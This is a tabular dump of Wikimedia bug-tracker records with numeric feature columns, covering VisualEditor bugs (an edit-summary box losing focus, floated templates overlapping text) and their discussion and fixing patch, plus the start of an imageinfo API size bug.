**Severity**: normal",High,80.0,1371789780,1372006698.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-h5i7cqn2z7j4vdb2bioo,task_description,resolved,True,c1,2,False,False,True,-2,,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,12.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,1.5,3.0,5.0,0.0,5.0,0.0,1.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,1.0,3.568627450980392,0.7156862745098038,"Steps to replicate:

(1)Click ""Edit"" and make some change
(2)Click ""Save page"". The cursor is now blinking in the ""Describe what you changed"" box.
(3)Click on another dialogue box, such as the WP search box. The cursor now blinks there.
(4) Click back into ""Describe what you changed"". Bupkis.

Chrome 27.0.1453.116, Firefox 21.0, Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal"
233920,"VisualEditor: Clicking outside the ""Describe what you changed"" box locks it",Bug fixed,,,1372006698,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-h5i7cqn2z7j4vdb2bioo,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Bug fixed
51925,VisualEditor: Floated templates rendering oddly and overlapping text,"See screenshot, which is of https://en.wikipedia.org/wiki/Craig_Short - Firefox 21.0, Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371789480,1372463194.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-5pskpoilrrm4nns4zugy,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.6875,"See screenshot, which is of URL - Firefox 21.0, Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal"
233795,VisualEditor: Floated templates rendering oddly and overlapping text,Follow up:  https://en.wikipedia.org/wiki/Leo_Strauss?veaction=edit is still screwed up.,,,1384288678,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9,Follow up:  URL is still screwed up.
233790,VisualEditor: Floated templates rendering oddly and overlapping text,Shall do.,,,1372613847,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Shall do.
233784,VisualEditor: Floated templates rendering oddly and overlapping text,"(In reply to comment #18)
> Unless the patch hasn't been deployed yet, I guess.

It hasn't. Deployed on Monday alongside the config change. Not sure if the example in comment 17 will be entirely fixed by it though - please check after release?",,,1372613728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,2.0,5.0,0.0,5.0,18.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7045454545454546,0.9318181818181818,"(In reply to comment #18)
QUOTE

It hasn't. Deployed on Monday alongside the config change. Not sure if the example in comment 17 will be entirely fixed by it though - please check after release?"
233779,VisualEditor: Floated templates rendering oddly and overlapping text,"Unless the patch hasn't been deployed yet, I guess.",,,1372613000,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,1.0,"Unless the patch hasn't been deployed yet, I guess."
233776,VisualEditor: Floated templates rendering oddly and overlapping text,"Crud

It doesn't :(. See new screenshot.

**Attached**: {F11120}",,,1372612962,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.761904761904762,0.7619047619047619,"Crud

It doesn't :(. See new screenshot.

**Attached**: {F11120}"
233770,VisualEditor: Floated templates rendering oddly and overlapping text,*** Bug 50416 has been marked as a duplicate of this bug. ***,,,1372500786,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50416 has been marked as a duplicate of this bug. ***
233764,VisualEditor: Floated templates rendering oddly and overlapping text,"The above patch fixes this bug, we believe. Marking as such.",,,1372463194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,"The above patch fixes this bug, we believe. Marking as such."
233760,VisualEditor: Floated templates rendering oddly and overlapping text,"Change 71109 merged by jenkins-bot:
Stop floated transclusions floating out of themselves

https://gerrit.wikimedia.org/r/71109",,,1372463162,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,17.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,5.055555555555555,1.0,"Change 71109 merged by jenkins-bot:
Stop floated transclusions floating out of themselves

GERRIT_URL"
233755,VisualEditor: Floated templates rendering oddly and overlapping text,"Change 71109 had a related patch set uploaded by Jforrester:
Set renderHtmlAttributes to false, for both block and inline transclusions

https://gerrit.wikimedia.org/r/71109",,,1372450916,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.16,1.0,"Change 71109 had a related patch set uploaded by Jforrester:
Set renderHtmlAttributes to false, for both block and inline transclusions

GERRIT_URL"
233749,VisualEditor: Floated templates rendering oddly and overlapping text,*** Bug 50381 has been marked as a duplicate of this bug. ***,,,1372440083,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50381 has been marked as a duplicate of this bug. ***
233744,VisualEditor: Floated templates rendering oddly and overlapping text,+another example: https://en.wikipedia.org/wiki/Aranath?veaction=edit,,,1372440078,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,+another example: URL
233738,VisualEditor: Floated templates rendering oddly and overlapping text,"For some reason wrapper in which we put transclusions/templates gets HTML attributes of the transclusion/template carried over - including CSS classes - that should not happen, and wasn't happening in the past.

I will investigate it, however adding Roan to this ticket, it seems like it is his area.",,,1372428523,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,7.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,4.216666666666667,0.85,"For some reason wrapper in which we put transclusions/templates gets HTML attributes of the transclusion/template carried over - including CSS classes - that should not happen, and wasn't happening in the past.

I will investigate it, however adding Roan to this ticket, it seems like it is his area."
233733,VisualEditor: Floated templates rendering oddly and overlapping text,"Screenshot

This is likely a blocker for any beta rollout on Monday. I've attached a screenshot to show how bad it can get, and why :/.

**Attached**: {F11119}",,,1372415006,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,15.0,5.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,7.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.268292682926829,0.8536585365853658,"Screenshot

This is likely a blocker for any beta rollout on Monday. I've attached a screenshot to show how bad it can get, and why :/.

**Attached**: {F11119}"
233728,VisualEditor: Floated templates rendering oddly and overlapping text,"(In reply to comment #4)
> I thinks it depends on the skin: Monobook might be causing this.

That's a different bug - created bug 50057.

This is about CE's rendering of floated templates - I've attached some example screenshots to demonstrate.",,,1372005661,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8292682926829267,0.8536585365853658,"(In reply to comment #4)
QUOTE

That's a different bug - created bug 50057.

This is about CE's rendering of floated templates - I've attached some example screenshots to demonstrate."
233723,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12614
what the template does look like when selected

**Attached**: {F11118}",,,1372005619,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8636363636363638,0.8636363636363636,"Created attachment 12614
what the template does look like when selected

**Attached**: {F11118}"
233716,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12613
what the template does look like (once in VE)

**Attached**: {F11117}",,,1372005597,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.32,0.88,"Created attachment 12613
what the template does look like (once in VE)

**Attached**: {F11117}"
233711,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12612
what the template should look like (read mode)

**Attached**: {F11116}",,,1372005566,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5416666666666665,0.875,"Created attachment 12612
what the template should look like (read mode)

**Attached**: {F11116}"
233705,VisualEditor: Floated templates rendering oddly and overlapping text,I thinks it depends on the skin: Monobook might be causing this.,,,1371986282,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7857142857142856,1.0,I thinks it depends on the skin: Monobook might be causing this.
233700,VisualEditor: Floated templates rendering oddly and overlapping text,"I don't think I can see your attachment, Oliver, but I think the bug may have to do with to these sshots, which both refer to adding a link: in the first one, the recycle bin can barely be seen as it gets hidden, the second one shows the link icon not being displayed as a square. Looks like this can happen both with Chrome and Firefox.",,,1371986068,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,4.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,8.0,7.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,9.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,7.0,12.0,4.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.5657894736842106,0.6973684210526315,"I don't think I can see your attachment, Oliver, but I think the bug may have to do with to these sshots, which both refer to adding a link: in the first one, the recycle bin can barely be seen as it gets hidden, the second one shows the link icon not being displayed as a square. Looks like this can happen both with Chrome and Firefox."
233694,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12609
not displaying properly

//attachment link icon not square.jpg ignored as obsolete//",,,1371985872,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.125,0.9375,"Created attachment 12609
not displaying properly

//attachment link icon not square.jpg ignored as obsolete//"
233687,VisualEditor: Floated templates rendering oddly and overlapping text,"Created attachment 12608
not displaying properly

//attachment overlapping recycle bin.jpg ignored as obsolete//",,,1371985844,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-5pskpoilrrm4nns4zugy,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,6.8,1.0,"Created attachment 12608
not displaying properly

//attachment overlapping recycle bin.jpg ignored as obsolete//"
51921,imageinfo API returns incorrect data,"In this call http://en.wikipedia.org/w/api.php?action=query&prop=imageinfo&titles=File%3APowderfinger-My_Happiness-23s.ogg&iiprop=size%7Curl&iiurlwidth=200 it returns thumbwidth=""1913"" thumbheight=""-1"" as a size of an thumb, which is completly wrong.

--------------------------
**Version**: master
